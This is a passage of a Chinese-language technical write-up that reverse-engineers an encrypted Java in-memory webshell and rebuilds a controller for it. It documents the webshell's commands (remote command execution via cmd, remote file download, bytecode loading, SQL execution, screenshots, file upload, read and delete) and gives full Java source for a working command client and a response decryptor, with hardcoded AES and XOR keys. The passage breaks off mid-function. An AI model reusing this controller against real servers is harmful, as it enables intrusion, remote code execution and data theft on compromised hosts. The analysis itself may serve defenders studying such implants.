2.2 照虎画猫
我们针对内存马,将功能进行逆向编写控制端。
2.2.1 功能1 test
methodName test
和我们的完全一致,
也就是说理论上,我们可以根据代码,逆向写出所有的功能
不再需要我们的拼接
2.2.2 功能2 getBasicsInfo
methodName getBasicsInfo sessionId xxxxxxx
2.2.3 功能3 bigFileUpload
fileName:E:/NC65home/bin/cert/dllhelp.exe methodName:bigFileUpload position:0//position是偏移量 sessionId:rk36LtN8sGY4moG8B fileContents: 跟byte程序
2.2.4 功能4 uploadFile
fileName xxx fileValue byte[]xxx methodName uploadFile sessionId xxxxxx
同理我们根据内存马代码推断如下方法
2.2.5 功能5 newFile
fileName xxxx methodName newFile sessionId xxxxxx
2.2.6 功能6 readFile
fileName xxxxxx methodName readFile sessionId xxxxxx
2.2.7 功能7 fileRemoteDown
url http://xxxxxx/xxxx saveFile 路径/文件名 methodName fileRemoteDown sessionId xxxxxx
2.2.8 功能8 include
加载字节码
binCode binary codeName xxxx methodName include sessionID xxxxx
2.2.9功能 9 deleteFIle
fineName xxxxxxxxxxx methodName deleteFile sessionId xxxxxxx
我们新建一个文件,尝试删除
当次我们的session为:eUUjSIzNV6RbHJpJF
返回ok即成功
2.2.10功能10 execCommand
cmdline cmd /c "whoami" executeableFile cmd executableArgs /c "whoami" arg-0: cmd argCount 3 arg-1 /c arg-2 whoami methodName execCommand sessionID xxxxx 理论上,只有一个argsCunt也可以 也就是 argCount 3 arg-0 cmd arg-1 /c arg-2 whoami methodName execCommand sessionID xxxxx
count拼错了,补一次
2.2.11 功能11 screen
method screen sessionID xxxxxx
执行后生成图片
2.2.12 功能12 getFile
mechodName getFile sessionId xxxxx dirName 目录
暂时有一些反序列化的问题
2.2.13 功能13 listFileRoot
methodName listFileRoot session xxxx
2.2.14 功能 14 setFileAttr
(应该是针对linux)
type 也就是var1 有两种选项,fileBasicAttr 获取基础属性,fileTimeAttr 获取时间属性 attr RWX 可以这么写 fileName
public byte[] setFileAttr() { String var1 = this.get("type"); String var2 = this.get("attr"); String var3 = this.get("fileName"); String var4 = "Null"; if (var1 != null && var2 != null && var3 != null) { try { File var5 = new File(var3); if ("fileBasicAttr".equals(var1)) { Class var10001 = class$5; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var27) { throw new NoClassDefFoundError(var27.getMessage()); } class$5 = var10001; } if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (var2.indexOf("R") != -1) { var5.setReadable(true); } if (var2.indexOf("W") != -1) { var5.setWritable(true); } if (var2.indexOf("X") != -1) { var5.setExecutable(true); } var4 = "ok"; } else { var4 = "Java version is less than 1.6"; } } else if ("fileTimeAttr".equals(var1)) { Date var29 = new Date(0L); StringBuffer var7 = new StringBuffer(); var7.append(var2); char[] var8 = new char[13 - var7.length()]; Arrays.fill(var8, '0'); var7.append(var8); var29 = new Date(var29.getTime() + Long.parseLong(var7.toString())); var5.setLastModified(var29.getTime()); var4 = "ok"; try { Class var9 = Class.forName("java.nio.file.Paths"); Class var10 = Class.forName("java.nio.file.Path"); Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class var12 = Class.forName("java.nio.file.Files"); Class var13 = Class.forName("java.nio.file.attribute.FileTime"); Class var14 = Class.forName("[java.nio.file.LinkOption"); Class[] var10002 = new Class[2]; Class var10005 = class$3; if (var10005 == null) { try { var10005 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var25) { throw new NoClassDefFoundError(var25.getMessage()); } class$3 = var10005; } var10002[0] = var10005; var10005 = class$6; if (var10005 == null) { try { var10005 = Class.forName("[Ljava.lang.String;"); } catch (ClassNotFoundException var24) { throw new NoClassDefFoundError(var24.getMessage()); } class$6 = var10005; } var10002[1] = var10005; Method var15 = var9.getMethod("get", var10002); Method var16 = var13.getMethod("fromMillis", Long.TYPE); var10002 = new Class[]{var10, null, null}; var10005 = class$7; if (var10005 == null) { try { var10005 = Class.forName("java.lang.Class"); } catch (ClassNotFoundException var23) { throw new NoClassDefFoundError(var23.getMessage()); } class$7 = var10005; } var10002[1] = var10005; var10002[2] = var14; Method var17 = var12.getMethod("getFileAttributeView", var10002); Method var18 = var11.getMethod("setTimes", var13, var13, var13); Object var19 = var15.invoke((Object)null, var3, new String[0]); Object var20 = Array.newInstance(var14.getComponentType(), 0); Object var21 = var17.invoke((Object)null, var19, var11, var20); Object var22 = var16.invoke((Object)null, var29.getTime()); var18.invoke(var21, var22, var22, var22); } catch (Throwable var26) { } } else { var4 = "no ExcuteType"; } } catch (Throwable var28) { StringBuffer var6 = new StringBuffer(); var6.append("Exception errMsg:"); var6.append(var28.getMessage()); return var6.toString().getBytes(); } } else { var4 = "type or attr or fileName is empty"; } return var4.getBytes(); }
2.2.15 功能15 newDir
methodName newDir dirName xxx sessionid xxx
2.2.16 功能16 moveFile
srcFileName destFileName methodName moveFile sessionId xxx
2.2.17 功能17 copyFile
srcFileName destFileName methodName copyFile sessionId xxx
2.2.18 功能 18 execSql
该功能是 执行sql语句
dbCharset 一般 UTF-8 可以不填 jdbcURL jdbc:sqlserver://localhost:1433;DatabaseName=db_database01 dbDriver 指定那种driver,类型见下图,可以不填 dbUsername 用户名 dbPassword 密码 execType select,也可以不写 methodName execSql sessionid sxxxxx
2.2.19 功能19 bigFileDownload
fileName mode 有两个模式 read和fileSize,fileSize模式,不需要readByteNum,position参数,直接全读 readByteNum position
2.2.20 功能 20 getEnv
methodName getEnv sessionid xxx
2.2.21 功能21 getLocalIPList
methodName getLocalIPList sessionid xxxxxx
2.2.22 功能22 getRealPath
methodName getRealPath sessionID xxxxx
2.2.23 功能23 noLog
字面意思,不产生日志 var1 应该是去调用类,但是这个函数并没有被启用
2.3 较为完善的脚本
录制的小gif
2.3.1 控制端脚本
暂时更新了大部分功能,但是仍然需要burp辅助,等后续会更新完善版。
package com.company; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.\*; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Scanner; import java.util.zip.GZIPOutputStream; public class PayloadX { static EncryptReturnBody encryptReturnBody \= new EncryptReturnBody(); public static String stringToHexString(String s) { String str = ""; for (int i = 0; i < s.length(); i++) { int ch \= s.charAt(i); String s4 \= Integer.toHexString(ch); str = str + s4; } return str; } public static byte\[\] compress(byte\[\] data) throws Exception { ByteArrayInputStream bais \= new ByteArrayInputStream(data); ByteArrayOutputStream baos \= new ByteArrayOutputStream(); // 压缩 compress(bais,baos); byte\[\] output \= baos.toByteArray(); baos.flush(); baos.close(); bais.close(); return output; } //数据压缩 public static void compress(InputStream is, OutputStream os) throws Exception { GZIPOutputStream gos \= new GZIPOutputStream(os); int count; byte data\[\] = new byte\[1024\]; while ((count = is.read(data, 0, 1024)) != -1) { gos.write(data, 0, count); } gos.finish(); gos.flush(); gos.close(); } public static byte\[\] base64Decode(byte\[\] bytes) { byte\[\] value = null; try { Class<?> base64 \= Class.forName("java.util.Base64"); Object decoder \= base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte\[\]) decoder.getClass().getMethod("decode", new Class\[\]{byte\[\].class}).invoke(decoder, new Object\[\]{bytes}); } catch (Exception exception) { try { Class<?> base64 \= Class.forName("sun.misc.BASE64Decoder"); Object decoder \= base64.newInstance(); value = (byte\[\]) decoder.getClass().getMethod("decodeBuffer", new Class\[\]{String.class}).invoke(decoder, new Object\[\]{new String(bytes)}); } catch (Exception exception1) { } } return value; } public static byte\[\] encrypt2(byte\[\] byteContent) { try { SecretKeySpec key \= new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher \= Cipher.getInstance("AES");//AES/ECB/NoPadding // byte\[\] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.ENCRYPT\_MODE, key);// 初始化 byte\[\] result \= cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } public static byte\[\] xor(byte\[\] data) { byte\[\] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data\[index\] = (byte) (data\[index\] ^ key\[i % keyLen\]); i++; } return data; } public static String byteToHex(byte\[\] bytes){ String strHex = ""; StringBuilder sb = new StringBuilder(""); for (int n = 0; n < bytes.length; n++) { strHex = Integer.toHexString(bytes\[n\] & 0xFF); sb.append((strHex.length() == 1) ? "0" \+ strHex : strHex); // 每个字节由两个字符表示,位数不够,高位补0 } return sb.toString().trim(); } public static String parseByte2HexStr(byte buf\[\]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf\[i\] & 0xFF); if (hex.length() == 1) { hex = '0' \+ hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte\[\] hexToByteArray(String inHex){ int hexlen = inHex.length(); byte\[\] result; if (hexlen % 2 \== 1){ //奇数 hexlen++; result = new byte\[(hexlen/2)\]; inHex="0"+inHex; }else { //偶数 result = new byte\[(hexlen/2)\]; } int j=0; for (int i = 0; i < hexlen; i+=2){ result\[j\]=hexToByte(inHex.substring(i,i+2)); j++; } return result; } public static byte hexToByte(String inHex){ return (byte)Integer.parseInt(inHex,16); } public static byte\[\] serialize(Map var1) { Iterator var2 = var1.keySet().iterator(); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4); var3.write(var4.getBytes()); byte\[\] var6; if (var5 instanceof byte\[\]) { var3.write(2); var6 = (byte\[\])var5; } else if (var5 instanceof Map) { var3.write(1); var6 = serialize((Map)var5); } else { var3.write(2); if (var5 == null) { var6 = "NULL".getBytes(); } else { var6 = var5.toString().getBytes(); } } var3.write(intToBytes(var6.length)); var3.write(var6); } catch (Exception var7) { } } return var3.toByteArray(); } public static byte\[\] intToBytes(int var0) { return new byte\[\]{(byte)(var0 & 0xFF), (byte)(var0 >> 8 & 0xFF), (byte)(var0 >> 16 & 0xFF), (byte)(var0 >> 24 & 0xFF)}; } public void test() { try { Map parameterMap = new HashMap(); parameterMap.put("methodName", "test"); byte\[\] pp = serialize(parameterMap); System.out.println("获取session:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void deleteFile(String session,String localFilePath) { try { Map parameterMap = new HashMap(); parameterMap.put("fileName",localFilePath); parameterMap.put("methodName", "deleteFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("删除文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void execCommand(String session,String cmd){ try { Map parameterMap = new HashMap(); parameterMap.put("argsCount","3"); parameterMap.put("arg-0","cmd"); parameterMap.put("arg-1","/c"); parameterMap.put("arg-2",cmd); parameterMap.put("methodName", "execCommand"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("执行命令:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void fileRemoteDown(String session,String remoteUrl,String serverPath){ try { Map parameterMap = new HashMap(); parameterMap.put("url",remoteUrl); parameterMap.put("saveFile",serverPath); parameterMap.put("methodName", "fileRemoteDown"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("远程下载:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void getFile(String session,String dirName){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getFile"); parameterMap.put("sessionId",session); parameterMap.put("dirName",dirName); byte\[\] pp = serialize(parameterMap); System.out.println("列出目录:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void screen(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "screen"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("当前屏幕截图:" +byteToHex(encrypt2(compress(pp))) ); // Files.write(Paths.get("./1.png"),encrypt2(compress(pp))); }catch (Exception e){ System.out.println(e); } } public void readFile(String session,String fileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("methodName", "readFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("读取文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void newFile(String session,String fileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("methodName", "newFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("新建文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void uploadFile(String session,String fileName,String localFilePath){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("fileValue",localFilePath); parameterMap.put("methodName", "uploadFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("上传文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void bigFileUpload(String session,String fileName,String localFilePath){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("methodName", "bigFileUpload"); parameterMap.put("position",0); parameterMap.put("sessionId",session); parameterMap.put("fileContents",localFilePath); byte\[\] pp = serialize(parameterMap); System.out.println("传大文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void getBasicsInfo(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getBasicsInfo"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("获取详细信息:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void listFileRoot(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "listFileRoot"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("列出根目录:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void newDir(String session,String dir){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "newDir"); parameterMap.put("dirName", dir); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("新建目录:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void moveFile(String session,String srcFileName,String destFileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("srcFileName", srcFileName); parameterMap.put("destFileName", destFileName); parameterMap.put("methodName", "moveFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("移动文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } /\* \* type 有两种选项,fileBasicAttr 获取基础属性,fileTimeAttr 获取时间属性 \* attr RWX 可以这么写或者单个R W X \* \*/ public void setFileAttr(String session,String type,String attr,String fileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("type", type); parameterMap.put("attr", attr); parameterMap.put("fileName", fileName); parameterMap.put("methodName", "setFileAttr"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("设置权限:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void include(String session,String codeName,String binCode){ try{ Map parameterMap = new HashMap(); parameterMap.put("binCode",new String(binCode.getBytes(StandardCharsets.UTF\_8))); parameterMap.put("codeName",codeName); parameterMap.put("methodName", "include"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("包含字节:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void copyFile(String session,String srcFileName,String destFileName){ try{ Map parameterMap = new HashMap(); parameterMap.put("srcFileName", srcFileName); parameterMap.put("destFileName", destFileName); parameterMap.put("methodName", "copyFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("复制文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void execSql(String session,String jdbcURL,String dbUsername,String dbPassword,String execType){ try{ Map parameterMap = new HashMap(); parameterMap.put("jdbcURL", jdbcURL); parameterMap.put("dbUsername", dbUsername); parameterMap.put("dbPassword", dbPassword); parameterMap.put("execType", execType); parameterMap.put("methodName", "execSql"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("新建目录:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void bigFileDownload(String session,String fileName,String mode){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("mode", "fileSize"); parameterMap.put("methodName", "bigFileDownload"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("复制文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void bigFileDownload(String session,String fileName,String mode,String readByteNum,String position){ try{ Map parameterMap = new HashMap(); parameterMap.put("fileName", fileName); parameterMap.put("mode", mode); parameterMap.put("position", position); parameterMap.put("readByteNum", readByteNum); parameterMap.put("methodName", "bigFileDownload"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("复制文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void getEnv(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getEnv"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("获取环境变量:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void getLocalIPList(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getLocalIPList"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("获取IPlist:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public void getRealPath(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getRealPath"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("获取真实路径:" \+ byteToHex(encrypt2(compress(pp)))); }catch (Exception e){ System.out.println(e); } } public static void Start() throws IOException { String session = null; String argc1 \= null; String argc2 \= null; int func; PayloadX x \= new PayloadX(); x.test(); Scanner scanner \= new Scanner(System.in); try{ String retu = null; System.out.println("请输入返回流量进行解密"); retu = scanner.nextLine(); encryptReturnBody.ReturnMes(retu); System.out.println("输入Session"); session = scanner.nextLine(); System.out.println("请您输入想要使用的功能\\n" + "1-getBasicsInfo\\n" + "2-getLocalIPList\\n" + "3-getRealPath\\n" + "4-screen\\n" + "5-uploadFile\\n" + "6-bigFileUpload\\n" + "7-fileRemoteDown\\n" + "8-include\\n" + "9-deleteFIle\\n" + "10-getFile\\n" + "11-listFileRoot\\n" + "12-setFileAttr\\n" + "13-newDir\\n" + "14-moveFile\\n" + "15-copyFile\\n" + "16-execSql\\n" + "17-bigFileDownload\\n" + "18-getEnv\\n" + "19-getLocalIPList\\n" + "20-getRealPath\\n" + "21-deleteFile\\n" + "22-execCommand\\n"); while(true){ func = Integer.parseInt(scanner.nextLine()); switch(func){ case 1:{ System.out.println("参数仅为session,获取系统信息"); x.getBasicsInfo(session); break; } case 2:{ System.out.println("参数仅为session,获取IP信息"); x.getLocalIPList(session); break; } case 3:{ System.out.println("参数仅为session,获取当前路径"); x.getRealPath(session); break; } case 4:{ System.out.println("参数仅为session,获取截图"); x.screen(session); break; } case 5:{ String fileName; String localFilePath; System.out.println("参数session,fileName,localFilePath,session,上传到服务器文件名,本地文件内容"); fileName = scanner.nextLine(); localFilePath = scanner.nextLine(); x.uploadFile(session,fileName,new String(Files.readAllBytes(Paths.get(localFilePath)))); break; } case 6:{ System.out.println("bigFileUpload功能暂不完善"); break; } case 7:{ String remoteUrl; String serverPath; System.out.println("参数session,远程url,文件名字,请输入remoteURL,服务器端存储路径"); remoteUrl = scanner.nextLine(); serverPath = scanner.nextLine(); x.fileRemoteDown(session,remoteUrl,serverPath); break; } case 8 :{ System.out.println("暂时有bug"); String codeName; String hexBinCode; System.out.println("参数session,codeName,hexBincode 输入codeName,输入hex bincode"); codeName = scanner.nextLine(); hexBinCode = scanner.nextLine(); x.include(session,codeName,hexBinCode); break; } case 9 :{ String filePath; System.out.println("参数session,filePath,输入filepath"); filePath = scanner.nextLine(); x.deleteFile(session,filePath); break; } case 10:{ String dirName; System.out.println("参数session,dirName,输入dirName"); dirName = scanner.nextLine(); x.getFile(session,dirName); break; } case 11:{ System.out.println("参数session"); x.listFileRoot(session); break; } case 12:{ String type = "fileBasicAttr"; String attr; String dirName; System.out.println("参数session,dirName,attr,请输入attr(RWX都可以),dirName"); attr = scanner.nextLine(); dirName = scanner.nextLine(); x.setFileAttr(session,type,attr,dirName); break; } case 13:{ String dir; System.out.println("参数session,dir,请输入dir"); dir = scanner.nextLine(); x.newDir(session,dir); break; } case 14:{ String destFileName; String srcFileName; System.out.println("参数session,destFIleName,srcFileName,请输入destFIlename,srcFileName"); destFileName = scanner.nextLine(); srcFileName = scanner.nextLine(); x.moveFile(session,srcFileName,destFileName); break; } case 15:{ String srcFileName; String destFileName; System.out.println("参数session,srcFileName,destFileName,请输入srcFileName,destFileName"); srcFileName = scanner.nextLine(); destFileName = scanner.nextLine(); x.copyFile(session,srcFileName,destFileName); break; } case 16:{ String jdbcURL; String dbUsername; String execType = "select"; String dbPassword; System.out.println("参数session,jdbcURL,dbUsername,dbPassword,exectype,请输入 jdbcurl,dbusername,dbpassword"); jdbcURL = scanner.nextLine(); dbUsername = scanner.nextLine(); dbPassword = scanner.nextLine(); x.execSql(session,jdbcURL,dbUsername,dbPassword,execType); break; } case 17:{ //x.bigFileDownload(); break; } case 18:{ System.out.println("参数session,获取env"); x.getEnv(session); break; } case 19:{ System.out.println("参数session,获取iplist"); x.getLocalIPList(session); break; } case 20:{ System.out.println("参数session,获取realpath"); x.getRealPath(session); break; } case 21:{ String fileName; System.out.println("deleteFile,参数session,远程的文件,输入删除的路径文件"); fileName = scanner.nextLine(); x.deleteFile(session,fileName); break; } case 22:{ String cmd; System.out.println("execCommand 参数session,cmd,请输入cmd"); cmd = scanner.nextLine(); x.execCommand(session,cmd); break; } default:{ System.out.println("输入错误"); break; } } System.out.println("请输入返回流量进行解密"); retu = scanner.nextLine(); encryptReturnBody.ReturnMes(retu); System.out.println("请继续选择功能"); } }catch (Exception e){ System.out.println(e); } //x.execCommand(session,cmd); //String cmd = ""; //cmd = scanner.nextLine(); //x.fileRemoteDown(session); } }
2.3.2 解密端脚本
用来对密文进行解密
package com.company; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.nio.file.StandardOpenOption; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Scanner; import java.util.zip.GZIPInputStream; public class EncryptReturnBody { /\*\* \* 加密 \* \* @param \* @return \*/ public static byte\[\] encrypt2(byte\[\] byteContent) { try { SecretKeySpec key \= new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher \= Cipher.getInstance("AES");//AES/ECB/NoPadding // byte\[\] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.ENCRYPT\_MODE, key);// 初始化 byte\[\] result \= cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } /\*\* \* base64解密,目测是魔改的base \*/ public static byte\[\] base64Encode(byte\[\] bytes) { byte\[\] value = null; try { Class<?> base64 \= Class.forName("java.util.Base64"); Object Encoder \= base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte\[\]) Encoder.getClass().getMethod("encode", new Class\[\]{byte\[\].class}).invoke(Encoder, new Object\[\]{bytes}); } catch (Exception exception) { try { Class<?> base64 \= Class.forName("sun.misc.BASE64Encoder"); Object Encoder \= base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class\[\]{byte\[\].class}).invoke(Encoder, new Object\[\]{bytes})).getBytes(); } catch (Exception exception1) { } } return value; } public static byte\[\] base64Decode(byte\[\] bytes) { byte\[\] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte\[\]) decoder.getClass().getMethod("decode", new Class\[\]{byte\[\].class}).invoke(decoder, new Object\[\]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte\[\]) decoder.getClass().getMethod("decodeBuffer", new Class\[\]{String.class}).invoke(decoder, new Object\[\]{new String(bytes)}); } catch (Exception exception1) { } } return value; } /\*\*将二进制转换成16进制 \* @param buf \* @return \*/ public static String parseByte2HexStr(byte buf\[\]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf\[i\] & 0xFF); if (hex.length() == 1) { hex = '0' \+ hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte\[\] xor(byte\[\] data) { byte\[\] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data\[index\] = (byte) (data\[index\] ^ key\[i % keyLen\]); i++; } return data; } public static byte\[\] unHex(byte\[\] data) { int len; byte\[\] out; int i; int j; for (len = data.length, out = new byte\[len / 2\], i = 0, j = 0; j < len; ) { int f = Character.digit(data\[j++\], 16) << 4; f |= Character.digit(data\[j++\], 16); out\[i\] = (byte) (f & 0xFF); i++; } return out; } public static HashMap deserialize(byte\[\] var1, boolean gzipFlag) { HashMap var3 = new HashMap(); ByteArrayInputStream var4 = new ByteArrayInputStream(var1); ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte\[\] var6 = new byte\[4\]; try { Object var7 = var4; if (gzipFlag) { var7 = new GZIPInputStream(var4); } while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break; } if (var8 == 1) { ((InputStream)var7).read(var6); int var9 = bytesToInt(var6); String var10 = var5.toString(); var3.put(var10, deserialize(readInputStream((InputStream)var7, var9), false)); var5.reset(); } else if (var8 == 2) { ((InputStream)var7).read(var6); int var12 = bytesToInt(var6); String var13 = var5.toString(); var3.put(var13, readInputStream((InputStream)var7, var12)); var5.reset(); } else { var5.write(var8); } } } catch (Exception var11) { } return var3; } private static byte\[\] readInputStream(InputStream var1, int var2) { byte\[\] var3 = new byte\[var2\]; int var4 = 0; try { while((var4 = var4 + var1.read(var3, var4, var3.length - var4)) < var3.length) { } } catch (IOException var5) { } return var3; } public static int bytesToInt(byte\[\] var0) { return var0\[0\] & 0xFF | (var0\[1\] & 0xFF) << 8 | (var0\[2\] & 0xFF) << 16 | (var0\[3\] & 0xFF) << 24; } public static void DehashMap (HashMap hashMap) { Iterator it = hashMap.entrySet().iterator(); while (it.hasNext()) { Map.Entry entry = (Map.Entry) it.next(); Object val = entry.getValue(); Object key = entry.getKey(); if (val instanceof HashMap) { DehashMap((HashMap) val); }else if (key instanceof HashMap) { DehashMap((HashMap) key); }else{ System.out.print(entry.getKey() + ":" \+ new String((byte\[\]) entry.getValue()) +"\\n"); } } } public static void ReturnMes(String message) throws IOException { message = message.substring(9); HashMap var3; byte\[\] bb = base64Decode(message.getBytes()); byte\[\] responsedata = xor(bb); System.out.println("没有打入内存马的流量为:"); System.out.println(parseByte2HexStr(responsedata)); byte\[\] result = uncompress(responsedata); try { System.out.println("反序列化开始"); var3 = deserialize(result, false); if(var3 != null) { String rerereresu = null; EncryptReturnBody encryptReturnBody = new EncryptReturnBody(); encryptReturnBody.DehashMap(var3); // Iterator iter = var3.entrySet().iterator(); // while (iter.hasNext()) { // Map.Entry entry = (Map.Entry) iter.next(); // Object key = entry.getKey(); // Object value = entry.getValue(); // Object key = // String values = (value instanceof byte\[\]) ? new String((byte\[\]) value) : value.toString(); // System.out.println(key + ":" + values); // rerereresu += (key + ":" + values); // } }else{ System.out.println(uncompress(responsedata)); } //System.out.println(rerereresu); //System.out.println("打入内存马后:"); String result1 = new String(result,"GBK"); System.out.println("返回内容为:"+result1); //System.out.println(filter(result1)); Files.write(Paths.get("./1.png"),result); Files.write(Paths.get("./返回流量"),result1.getBytes(StandardCharsets.UTF\_8),StandardOpenOption.APPEND); Files.write(Paths.get("./返回流量"),"\\n".getBytes(),StandardOpenOption.APPEND); }catch (Exception e){ System.out.println(e); Files.write(Paths.get("./返回流量"),result,StandardOpenOption.APPEND); Files.write(Paths.get("./返回流量"),"\\n".getBytes(),StandardOpenOption.APPEND); Files.write(Paths.get("./1.png"),result); } // Files.write(Paths.get("./1"),result); // System.out.println(new String(bb)); // System.out.println(new String(xor(bb))); } public static String filter(String content){ if (content != null && content.length() > 0) { char\[\] contentCharArr = content.toCharArray(); for (int i = 0; i < contentCharArr.length; i++) { if (contentCharArr\[i\] < 0x20 || contentCharArr\[i\] == 0x7F) { contentCharArr\[i\] = 0x20; } } return new String(contentCharArr); } return ""; } public static String hexToAscii(String hexStr) { StringBuilder output = new StringBuilder(""); for (int i = 0; i < hexStr.length(); i += 2) { String str = hexStr.substring(i, i + 2); output.append((char) Integer.parseInt(str, 16)); } return output.toString(); } public static byte\[\] uncompress(byte\[\] bytes) { if (bytes == null || bytes.length == 0) { return null; } ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(bytes); try { GZIPInputStream ungzip = new GZIPInputStream(in); 